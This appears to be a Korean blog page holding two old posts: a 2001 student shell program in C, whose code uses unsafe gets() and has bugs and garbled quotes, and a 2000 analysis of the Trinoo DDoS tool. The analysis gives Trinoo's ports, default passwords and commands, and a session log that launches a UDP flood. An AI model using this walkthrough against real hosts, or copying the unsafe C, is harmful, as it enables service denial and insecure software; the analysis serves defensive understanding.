[2001년] Shell 구현 과제

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <limits.h>
#include <wait.h>
#include <signal.h>

int split(char *string, char c, char **result);
void skip();
int isBackGround(char *command);
void (*oldhandler)();
int bbazig();

int main(int argc,char *argv[],char *envp[]){
char command[PATH_MAX];
char *commands[64];
int pid,c,status,command_num,counter,n;

oldhandler=signal(SIGINT,bbazig);

while(1){
int fd,i;
char *temp[64];
int process_counter;
int flag; /* bg 인지 확인하는 명령임. */

do{
/* 입력을 받기를 기다리다가 명령을 받는다.  */
waitpid(-1,&status,WNOHANG);
printf(“11982241>#”);  /* 프롬프트 */
flag = 0;
gets(command);  /* 명령 입력받기 */

/* 파이프 처리….  */
command_num = split(command,’|’,commands);

n = split(commands[0],’ ‘,temp);
}
while(strcmp(temp[0],””) == 0);

if((c = strcmp(temp[0],”exit”)) == 0){
for(counter = 0 ;counter < n ; counter++)
free(temp[counter]);
break;    /* 군소리 없이 끝내기 */
}
if((c = strcmp(temp[0],”help”)) == 0){
printf (“이 셸을 끝내시려면 exit를 치시는 것이 가장 좋습니다.n”);
printf (“그렇지 않으면 반항을 하는 특징이 있습니다.n”);
printf (“혹시 Ctrl+C로 종료하시려 하신다면 3초간 기다려 주세요.n”);
printf (“파이프나 리디렉션 사용시 상당히 반항하는 특징이 있습니다.n”);
printf (“웬만하면 사용하지 마세요….. 기타 등등. 중얼중얼중얼….n”);
} /*도움말이지만 도움이 될 지는 의문*/

/* cd 명령에서 문제 생겼을 때 */
if((c = strcmp(temp[0],”cd”)) == 0){
if(chdir(temp[1]) == -1)
printf(“%s:%sn”,temp[1],”그런 녀석 없답니다.^^;;;;”);
for(counter = 0;counter < n; counter++)
free(temp[counter]);
continue;
}

for(counter = 0; counter < command_num; counter++){
int n,m;
char *options[64];
char *redirect[4];

if(counter != command_num -1){
printf(“여기서는 파이프 처리가 될 리가 없죠? ^^;;;;n”);
printf(“아직 파이프를 쓰면 죽어 버리는데요……n”);
printf(“그럴 경우에는 주저없이 Ctrl+C 해 주세요.n”);
}

flag = isBackGround(commands[counter]);

pid = fork();
if(pid == 0){
/* 파이프를 쓸 때  */
if(command_num != 1) printf(“”);
/* 리디렉션이 들어왔을 때 */
if(split(commands[counter],’>’,redirect) > 1||split(commands[counter],'<‘,redirect) > 1){
printf(“리디렉션은 먹지않습니다!!!! 꺄하하하하하하~~~~~n”);
printf(“실력이 이것밖에 안 되는데 어떻게 하라고요!!!!!! ^^;;;;n”);
}else{
n = split(commands[counter],’ ‘,options);
execvp(options[0],options);
}
printf(“%sn%sn”,options[0],”command not found”);
_exit(1);
}else{

if(counter != 0 && command_num != 1){
close(fd);
}
if(counter != command_num -1){
printf(“”);

}

for(i = 0;i < n;i++) free(options[i]);
}
}

for(i = 0;i < command_num;i++) free(commands[i]);

if(flag == 0){
for(process_counter=0;process_counter<command_num;process_counter++)
wait(&status);
}
}

exit(0);
}

/* 문자열 자르는 함수. 인터넷 뒤지다가 찾은 함수를 그냥 인용. */
/* 출처는 북마크를 안 해서 잊어버림. –+ */
int split(char *string,char c,char **result){
int counter = 0;
char *workspace;
char *workspace_backup;
char *temp;

workspace = (char *)malloc(strlen(string) +1);
if(workspace == NULL){
printf(“%sn”,”Memory allocation error”);
return 0;
}

workspace_backup = workspace;
strcpy(workspace,string);

while(*workspace == c){
workspace++;
}

while((temp = strchr(workspace,c)) != NULL){
temp[0] = ”;

while(temp[1] == c){
temp++;
}

result[counter] = (char *)malloc(strlen(workspace) + 1);
if(result[counter] == NULL){
printf(“%sn”,”Memory allocation error”);
return 0;
}
strcpy(result[counter],workspace);
workspace = ++temp;
++counter;
}

result[counter] = (char *)malloc(strlen(workspace) + 1);
if(result[counter] == NULL){
printf(“%sn”,”Memory allocation error”);
return 0;
}
strcpy(result[counter],workspace);
++counter;
result[counter] = ”;   /* Null Termination */

free(workspace_backup);
return counter;
}

/* 한줄 내리기…… */
void skip(){
putchar(‘n’);
}

/* &를 구현합니다.  */
int isBackGround(char *command){
char *temp;
temp = strchr(command,’&’);
if(temp == NULL){
return 0;
}else{
*temp = ”;
return 1;
}
}

/* Ctrl+C 눌렀을 때…. */
int bbazig() {
printf(“허억~~~~~ 내가 사용자에게 살해당하다니~~~~!!!!!!!n”);
printf(“죽기 전에 마지막으로 하나 알려드리자면n”);
printf(“이 셸을 만들고 있는 사람은 n”);
printf(“학번은 11982241. 수학과 4학년 전혜진입니다.n”);
alarm(1);
//*(oldhandler)();
}

[2000년 자료] Trinoo 분석

Trinoo는 UDP flood 서비스거부 공격을 하는 툴이다.

여타의 DOS계열 공격과 마찬가지로 몇대의 마스터와 여러 서버(좀비화된)를 통해 타겟을 공격한다. master 와 ns 는 udp 포트를 통해서 계속 통신을 주고 받고 ns데몬이 실행되면서 master 와 연락이 이루어 진다. master 가 연락을 받으면 …화일에 ns데몬의 ip를 암호형태로 저장하게 된다. 기본 적으로 master 와 daemon은 암호화된 명령을 주고 받는다. (daemon의 소스 IP 주소가 아직 위장되지 않았지만 앞으로 나올 가망성이 있다.)

trinoo는 국내에서 1999년 8월에 처음 발견 되었고 모 대학의 경우 50여 호스트에 trinoo마스터 및 대몬이 설치된 사건이 발견 되기도 하였다.

( kisa 서비스거부 공격 분석 보고서 참조 )

UDP flood는 inetd 서비스를 통해 이루어진다.

공격자가 조작된 패킷을 host A에게 계속 보내면 이 패킷은 host A 와 host B를 계속 왕복하며 네트워크 트래픽을 증가시킨다.

소스와 사용법

다음 소스는 2000년 기준이며, 2000년 3월무렵 windows용 공격도구가 발견되었다.(kisa 참고)

소스코드에 있는 각 화일은 아래와 같은 기능을하는 소스이다.

(1) Master

… —> 암호화된 데몬목록들이 저장

bf_tab.h —> blowfish P-box and S-box tables

blowfish.h —> uses autoconf values now

blowfish.c —> uses encrypt fuction and decrypt function

strfix.h —> simple fuction for strstr and strcat

master.c —> master program doing attact orders to daemon

Makefile —> make master execute file

(2) Daemon

ns.c —> daemon program.. communicate master program

actually attack victim host..

공격자, 마스터, 데몬간의 통신 포트

  • 공격자 ——> 마스터 : 27665 tcp 포트
  • 마스터 ——> 데몬들 : 27444 udp 포트
  • 데몬들 ——> 마스터 : 31335 udp 포트
  • 데몬들 ——> 공격목표 : 임의의 포트에 UDP flood

기본 암호

  • daemon password : l44adsl
  • master server start up : gOrave
  • master access password : betaalmostdone
  • mdie command : killme

명령어 설명

  • info : 버전, 서버 컴파일 날짜 등 정보 보기
  • bcast : 브로드캐스트 리스트
  • mping : 모든 Bcast에 핑 보냄. 멀티핑
  • mtimer : Bcast들이 타겟을 공격할 시간지정
  • dos : 패킷을 보낸 타겟 지정
  • mdos : 동시에 공격할 타겟들 지정.
  • mdie : 모든 Bcast 비활성화. 데몬들을 죽인다.
  • quit : 연결을 중단한다.
  • nslookup : 호스트네임을 입력하여 IP로 반환받는 명령. dos 공격할 타겟은 IP로 지정해야 한다.

Master 를 설치하고 접속하는 모습

[hjchj@queen trinoo]$ telnet Master_IP 27665

Trying Master_IP…

Connected to Master_IP.

Escape character is ‘^]’.

betaalmostdone <— 암호 입력…

trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]

trinoo>

trinoo> help

Commands: info bcast mping mtimer dos mdos mdie quit nslookup

Don’t know what something is? ‘help command’

trinoo> info

This is the “trinoo” AKA DoS Project master server. [v1.07d2+f3+c]

Compiled: 21:53:03 Oct 3 2000

trinoo> bcast <—- 데몬을 보여 준다.

Listing Bcasts.

xxx.xxx.xxx.0

xxx.xxx.xxx.1

xxx.xxx.xxx.2

xxx.xxx.xxx.3

xxx.xxx.xxx.4

End. 5 Bcasts total.

trinoo> mtimer 4 <—- 시간을 설정한다. 4초동안 공격을 한다.

mtimer: Setting timer on bcast to 4.

trinoo> nslookup target_URL <—- 공격 목적지를 IP로 입력해야 하므로

nslookup: resolved target_URL to xxx.xxx.yyy.yyy

trinoo> dos xxx.xxx.yyy.yyy <—- dos 공격을 한다.

DoS: Packeting xxx.xxx.yyy.yyy.